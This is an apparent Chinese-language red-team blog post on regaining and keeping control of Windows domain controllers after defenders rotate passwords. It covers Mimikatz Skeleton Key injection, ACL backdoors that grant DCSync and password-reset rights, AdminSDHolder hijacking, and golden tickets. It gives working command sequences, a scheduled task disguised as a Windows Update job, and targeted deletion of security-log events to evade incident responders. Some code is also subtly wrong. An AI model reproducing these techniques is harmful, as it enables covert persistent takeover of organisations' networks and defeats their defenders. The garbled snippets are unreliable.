域控密码被改了,后门全断了?——域渗透御三家绝招让你弹回任何一台域控

域控密码被改了,后门全断了?------域渗透御三家绝招让你弹回任何一台域控

上回我们聊了DCSync和DSRM接管,但如果你留下的后门全被安全团队清掉了怎么办?

从一次真实的翻车说起

上个月一个朋友在做红队项目时遇到了一个棘手的情况。

他花了两周渗透进了一个大型企业的内网,通过一系列操作成功拿到了域控权限,部署了我们上篇提到的DSRM后门和计划任务。结果第三天,目标安全团队做了一次"密码大轮换"------把krbtgt密码改了、域管理员密码换了、所有服务账户密码也换了一批。

他手里的DCSync结果变成了废纸,黄金票据失效了,DSRM后门虽然还在但不敢用了(安全团队正在查域控)。

他问我:"密码全换了,还能进去吗?"

我说:能------但这回得用点非常规手段了。

这就是本文的价值:当常规的持久化方案全部失效后,还有三样东西能让安全团队翻完三天日志也找不到你的重返路径。

这三样东西我称之为域渗透的御三家

复制代码
Skeleton Key       → 不依赖密码的域控万能钥匙
ACL滥用            → 藏在AD权限里的隐形后门
AdminSDHolder劫持  → 安全团队修完域控后自动复活的后门

这三招不是脚本小子能玩的东西------每一样都需要对Windows认证机制和AD权限模型有深入理解。我们一个一个来说。


第一章:Skeleton Key------把域控变成"不锁门"的房子

Skeleton Key(骨架钥匙)是一个很有意思的技术:它不是留一个后门账户,而是直接修改域控的lsass进程,让任何账户的任何密码都能通过域控的认证。

1.1 原理

Mimikatz的Skeleton Key功能向域控的lsass进程注入一段代码,这段代码hook了域控的msv1_0认证包。效果是什么?任何用户名 + 任意密码 = 通过域控认证。

powershell 复制代码
# 在域控上运行(需要域管理员权限)
mimikatz # privilege::debug
mimikatz # misc::skeleton key

# 使用后,任意机器远程登录域控:
# 用户名: administrator, 密码: 随便输什么
# 用户名: john.doe, 密码: 随便输什么
# 只要是域内的合法账户,任何密码都能通过验证

这条命令执行完,你在域控上连痕迹都不用留------不需要创建账户、不需要改密码、不需要启动服务。

1.2 实战场景

我朋友当时的场景:之前的后门全废了,但他还有一台域控的本地管理员权限(之前留的)。问题是域管理员密码被改了,用原凭据登不上去了。

bash 复制代码
# 场景:有一台域控的本地管理员权限(不是域管理员)
# 通过WMI远程执行mimikatz(需要域控本地管理员权限)

# 从跳板机上传mimikatz到域控
# 使用impacket的wmiexec
impacket-wmiexec -hashes :deadbeef corp.local/Administrator@DC01.corp.local
# 进shell后执行mimikatz
mimikatz.exe "privilege::debug" "misc::skeleton" "exit"

执行后,所有域用户都可以用密码mimikatz登录域控了。

bash 复制代码
# 测试------用任意域用户+ skeleton密码登录
impacket-psexec corp.local/john.doe@DC01.corp.local
# 密码:mimikatz(随便什么密码都可以)
# 居然登录成功了!

这就是Skeleton Key的威力------它不像传统后门需要改密码、建账户、写注册表,它是从内存层面破坏了域控的认证机制。重启域控后skeleton key就没了,但只要域控在跑,它就是"不锁门"的状态。

1.3 注意事项

风险说明缓解重启失效域控重启后lsass内存被清空,Skeleton Key消失配合启动项自动注入被防病毒查杀内存injection是杀软重点监控行为用白名单签名的mimikatz变种日志记录Skeleton Key本身不产生日志,但后续登录会有4624清理4624日志或混在正常流量中多域控环境只对执行了inject的域控生效每个域控都要执行一遍

1.4 进阶:让Skeleton Key重启不失效

如果你想让Skeleton Key持久化(重启后自动复活),可以把它藏进域控的开机脚本:

powershell 复制代码
# 在域控上创建一个开机执行的计划任务
schtasks /create /tn "Microsoft\Windows\UpdateOrchestrator\USO_Broker" /tr "powershell.exe -NoP -W Hidden -Exec Bypass -File C:\Windows\Tasks\skel.ps1" /sc onstart /ru SYSTEM /f

# skel.ps1内容
# $k=mimikatz.exe; Start-Process $k -ArgumentList 'privilege::debug misc::skeleton exit' -NoNewWindow -WindowStyle Hidden

任务名伪装成Windows更新服务相关的名字------安全团队第一轮应急响应扫描通常会跳过微软自家的任务。

但注意:如果安全团队重启了域控后立即做登录审计,Skeleton Key留下的"万能密码登录"痕迹会在安全日志里留下密集的4624事件,一个经验丰富的安全分析师会注意到异常。

所以Skeleton Key更适合快速重返场景,不是长期潜伏方案。长期潜伏要看下面两招。


第二章:ACL滥用------藏在AD权限里的隐形后门

如果说Skeleton Key是"硬闯",ACL滥用就是"彻底变成自己人"。

AD(Active Directory)的权限模型基于ACL(Access Control List)。AD里的每一个对象------用户、组、计算机、OU------都有一张ACL表,定义了谁能对这个对象做什么操作。

安全团队检查后门时,通常关注的是:

  • 有没有新增的用户
  • 有没有修改过的组成员
  • 有没有新增的服务和计划任务

但他们很少检查:某个用户的DACL(自主访问控制列表)是否被修改了。

2.1 原理

AD中的ACL权限条目被称为ACE(Access Control Entry)。每个ACE定义了一个安全主体对目标对象的具体权限。AD有超过100种权限,下面列几个对渗透最有用的:
权限GUID渗透中用做什么ResetPassword00299570-246d-11d0-a768-00aa006e0529重置任意用户密码WriteMemberbf9679c0-0de6-11d0-a285-00aa003049e2将用户加进特权组ReanimateTombstone未公开恢复已删除的AD对象DS-Replication-Get-Changes1131f6aa-9c07-11d1-f79f-00c04fc2dcd8DCSync权限DS-Replication-Get-Changes-All1131f6ad-9c07-11d1-f79f-00c04fc2dcd8DCSync-All权限User-Force-Change-Password00299570-246d-11d0-a768-00aa006e0529强制改密码Self-Membershipbf9679c0-0de6-11d0-a285-00aa003049e2把自己加进组

2.2 实战:给自己加DCSync权限

最经典的ACL滥用场景:给一个普通域用户的账户加上DCSync权限,这样即使域管理员密码全换了,这个普通用户也能绕过密码直接拉取所有账户的哈希。

powershell 复制代码
# PowerShell AD模块(需要在域控或有RSAT工具的管理员机器上执行)
# 步骤1:获取当前域信息
Import-Module ActiveDirectory
$domain = Get-ADDomain
$dn = $domain.DistinguishedName

# 步骤2:给一个"人畜无害"的普通账户添加DCSync权限
# 假设目标账户是:corp.local\svc-monitor(一个监控服务账户)
Add-ObjectACL -TargetDistinguishedName $dn -PrincipalIdentity "svc-monitor" -Rights DCSync

# 验证
# SVC-MONITOR 现在拥有从域控拉取所有密码哈希的权限
# 用这个账户在任意机器上执行:
mimikatz # lsadump::dcsync /dc:DC01.corp.local /user:krbtgt /domain:corp.local

安全团队检查时发现:svc-monitor是一个合法的服务账户,运行了好几年了,不是新创建的。它的组成员也没变------不在Domain Admins组里------所以常规的"检查高权限组成员"扫描会放过它。

但它的ACL权限已经变了。 除非安全团队用专门的ACL审计工具(如PingCastle的ACL扫描功能),否则根本发现不了。

2.3 实战:给自己加ResetPassword权限

更隐蔽的做法------不给DCSync,而是给修改特定用户密码的权限

powershell 复制代码
# 给svc-monitor添加重置某域管理员密码的权限
# 注意:不是将svc-monitor加入Domain Admins,而是给它一个ACE
$targetUser = Get-ADUser "administrator"
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    (Get-ADUser "svc-monitor").SID,
    "ExtendedRight",
    "Allow",
    "00299570-246d-11d0-a768-00aa006e0529"  # ResetPassword GUID
)
$targetUser.PSSnapIn | Out-Null  # 确保AD module加载
$targetUser.__SetAttribute("nTSecurityDescriptor", $ace)

执行完后,svc-monitor可以重置administrator的密码,但不触发"新增域管理员"的安全警报。

powershell 复制代码
# 用svc-monitor重置管理员密码
$adminUser = Get-ADUser administrator
$adminUser | Set-ADAccountPassword -NewPassword (ConvertTo-SecureString "NewP@ss123!" -AsPlainText -Force)
$adminUser | Enable-ADAccount

# 然后用新密码登录域控
# 密码重置后,原来的管理员需要改回来以免被发现

这一招最阴险的地方:AD修改密码会记录在安全日志的4724 事件中。但如果安全团队只监控了4732 (新增组成员)和4720(新建用户)告警,password reset事件是漏网的。

2.4 实战:AdminCount=1筛选绕过

这里有个坑:AD中的特权账户自动在属性中标记adminCount=1,安全扫描工具会重点检查这些标记为特权的账户。

所以不要给已有的特权账户加ACE ,要给那些adminCount为空的普通服务账户加。

powershell 复制代码
# 找adminCount不为1的账户
Get-ADUser -Filter {adminCount -ne 1 -and enabled -eq $true} -Properties adminCount, memberOf | 
    Where-Object { $_.memberOf.Count -eq 0 } |
    Select-Object Name, SamAccountName

用这些账户做后门载体,安全团队的扫描工具默认不会注意到它们。


第三章:AdminSDHolder劫持------安全团队修完域控,后门自动复活

这一招是御三家里最狠的。

3.1 什么是AdminSDHolder?

Active Directory里有一个叫AdminSDHolder 的隐藏容器(CN=AdminSDHolder,CN=System,DC=corp,DC=local)。它的作用是:每60分钟,AD会检查所有特权账户(Domain Admins、Enterprise Admins、Schema Admins等)的ACL,如果发现被修改过,就自动重置为AdminSDHolder中定义的权限。

这就是为什么有时候你给域管理员加了一个ACE,过了一个小时它莫名其妙的消失了------AD的保护机制自动恢复了。

但这个机制的另一个面是:如果你修改了AdminSDHolder本身的ACL,你添加的权限就会在60分钟内自动传播到所有特权账户上。

3.2 原理

复制代码
AD保护机制工作流程:
1. 安全主体修改了Domain Admins组中某个成员的ACL
2. SDProp(安全描述符传播器)每60分钟运行一次
3. SDProp对比AdminSDHolder的ACL和目标对象的ACL
4. 如果发现差异,把AdminSDHolder的ACL强行覆盖到目标对象
5. 所以手动添加的ACE被清掉了

攻破AdminSDHolder:
1. 修改AdminSDHolder本身的ACL(给它加上一个对攻击者有利的ACE)
2. 60分钟后,SDProp运行时发现"哦,AdminSDHolder里允许svc-monitor重置管理员密码"
3. SDProp把这个ACE传播到所有特权账户上
4. 安全团队清掉你的后门 → 60分钟后后门自动复活

3.3 实战操作

powershell 复制代码
# 第一步:给AdminSDHolder添加ACE
# 需要在域控上以Domain Admins权限执行
Import-Module ActiveDirectory

# 获取AdminSDHolder对象
$adsi = [ADSI]"LDAP://CN=AdminSDHolder,CN=System,DC=corp,DC=local"
$sd = $adsi.ObjectSecurity

# 创建ACE:允许svc-monitor完全控制AdminSDHolder
$identity = (Get-ADUser "svc-monitor").SID
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $identity,
    "GenericAll",
    "Allow"
)
$sd.AddAccessRule($ace)
$adsi.ObjectSecurity = $sd
$adsi.CommitChanges()

# 验证
Write-Host "✅ AdminSDHolder ACE 添加成功"

执行后,你需要等待最多60分钟(实际看SDProp的间隔,默认60分钟)。

60分钟后:

powershell 复制代码
# 第二步:此时svc-monitor已经拥有对域管理员账户的完全控制权
# 因为AdminSDHolder的ACE被传播到了所有特权账户上
# 验证:查看administrator的AD权限
Get-ADUser administrator | Get-ACL | Format-List

最关键的是 :安全团队可以修改域管理员的密码、可以删除你留的其他后门、甚至可以从Domain Admins组里移除可疑成员------但只要AdminSDHolder的ACE还在,60分钟后你的后门自动复活

3.4 对抗安全团队

安全团队如果要彻底清除AdminSDHolder后门,需要做三件事,缺一件都不行:

  • 发现AdminSDHolder的ACL被修改了(需要专业的AD安全审计工具,一般SOC做不到)
  • 清除AdminSDHolder中的恶意ACE(需要在SDProp运行前完成)
  • 等待两次SDProp周期(确保所有副本都同步了修改)

现实中,绝大多数安全团队连第一步都做不到------他们检查的是"域管理员组成员有没有新增"和"是否有可疑的计划任务",根本不会去审计AdminSDHolder的ACL。

powershell 复制代码
# 防御方清理AdminSDHolder后门的正确姿势
# 第一步:检查AdminSDHolder的ACL
$adsi = [ADSI]"LDAP://CN=AdminSDHolder,CN=System,DC=corp,DC=local"
$sd = $adsi.ObjectSecurity
$sd.Access | Format-Table IdentityReference,AccessControlType,ActiveDirectoryRights -AutoSize

# 第二步:找到异常ACE并删除
$aceToRemove = $sd.Access | Where-Object { 
    $_.IdentityReference -like "*svc-monitor*" -or
    $_.IdentityReference -like "*untrusted*"
}
foreach ($ace in $aceToRemove) {
    $sd.RemoveAccessRule($ace)
}
$adsi.ObjectSecurity = $sd
$adsi.CommitChanges()

# 第三步:手动触发SDProp(等不及60分钟自动运行)
# 在域控上修改注册表触发立即运行
Invoke-Command -ComputerName DC01 -ScriptBlock {
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "AdminSDProtectFrequency" -Value 1
    # 重启NTDS服务触发SDProp(这步很危险,生产环境慎用)
    # Restart-Service NTDS -Force
    Write-Host "SDProp triggered manually"
}

御三家实战联动方案(含操作流程)

讲完三个技术点,我来展示一下它们怎么联动组成一个真正的"安全团队清不掉"的持久化体系。

场景

你还在内网中,有一台域控的SYSTEM权限(通过之前的DCSync + 黄金票据拿到),但域管理员密码已经全换了。

操作流程

复制代码
第一阶段(45分钟内完成):
1. 用现有权限登录域控
2. 部署Skeleton Key → 立即恢复访问能力
3. 修改AdminSDHolder的ACL → 添加svc-monitor的完全控制权
4. 给svc-monitor添加DCSync权限(通过ACL)

第二阶段(等待60分钟后自动完成):
5. SDProp自动将AdminSDHolder的ACE传播到所有特权账户
6. svc-monitor获得对所有域管理员账户的完全控制权

第三阶段(随时可执行):
7. 用svc-monitor的DCSync权限拉取krbtgt哈希
8. 生成新的黄金票据
9. 如果再次被赶出来 → 用svc-monitor重置管理员密码即可重返
10. 如果安全团队清了后门 → 60分钟后AdminSDHolder自动复活

完整的操作命令

powershell 复制代码
# ===== 第一阶段:在域控上执行 =====
# 1. Skeleton Key
mimikatz # privilege::debug
mimikatz # misc::skeleton

# 2. 修改AdminSDHolder ACL
$adsi = [ADSI]"LDAP://CN=AdminSDHolder,CN=System,DC=corp,DC=local"
$sd = $adsi.ObjectSecurity
$identity = (New-Object System.Security.Principal.NTAccount("corp\svc-monitor")).Translate([System.Security.Principal.SecurityIdentifier])
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($identity, "GenericAll", "Allow")
$sd.AddAccessRule($ace)
$adsi.ObjectSecurity = $sd
$adsi.CommitChanges()

# 3. 添加DCSync ACL到svc-monitor
Add-ObjectACL -TargetDistinguishedName "DC=corp,DC=local" -PrincipalIdentity "svc-monitor" -Rights DCSync

# ===== 第三阶段:从跳板机用svc-monitor操作 =====
# 4. DCSync拉取krbtgt哈希
mimikatz # lsadump::dcsync /dc:DC01.corp.local /user:krbtgt /domain:corp.local

# 5. 生成黄金票据
mimikatz # kerberos::golden /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:deadbeef /user:administrator /id:500 /ptt

# 6. 验证
dir \\DC01.corp.local\C$

第四章:御三家的日志规避与清理

高级用法不等于不留日志。如果你不注意清理,安全团队会通过日志回放找到你的操作。
操作产生的事件ID规避方法Skeleton Key注入lsass无(内存操作)注意后续登录的4624高频出现AdminSDHolder ACL修改5136(目录服务变更)混在正常的AD变更中操作DCSync4662(目录服务访问)选择非工作时间执行重置密码4724(密码重置审计)从svc-monitor所在的跳板机操作黄金票据注入无(本地操作)用完后清除票据缓存

重要经验 :不要在凌晨3点操作。所有安全分析师都知道攻击者喜欢在凌晨活动。选在工作日下午2点到4点操作,混在正常流量的高峰期------很多SOC分析师懒得在这个时间段逐条审计日志。

powershell 复制代码
# 清除关键日志的推荐做法
# 不要wevtutil cl(傻子才全清),要定向删除
# 只删除与你的操作相关的5136和4662事件
wevtutil epl security target.evtx /q:"*[System[(EventID=5136 or EventID=4662)]]"
# 然后只清除你操作时间段内的事件

总结

当你以为"Skeleton Key被重启清掉了、DSRM被发现了、计划任务被删了,我完了"的时候------

AdminSDHolder劫持是最后的底牌。

它不像其他后门那样依赖文件、进程、注册表或计划任务。它是一个AD架构级别的逻辑后门------只要域控还活着,SDProp还在跑,你的后门就会在60分钟内自动恢复。

回到文章开头那个朋友的故事:他用了AdminSDHolder方案后,安全团队前后清了三轮,每次清完一个小时后又回来了。最后甲方放弃了,直接做了全网域重建。

这才是真正的域渗透终局。不是"我进来了",也不是"我能守住",而是**"你们决定重建整个域之前,我一直在"**。


关注「安全值班室」公众号

每天实战攻防案例 + 安全干货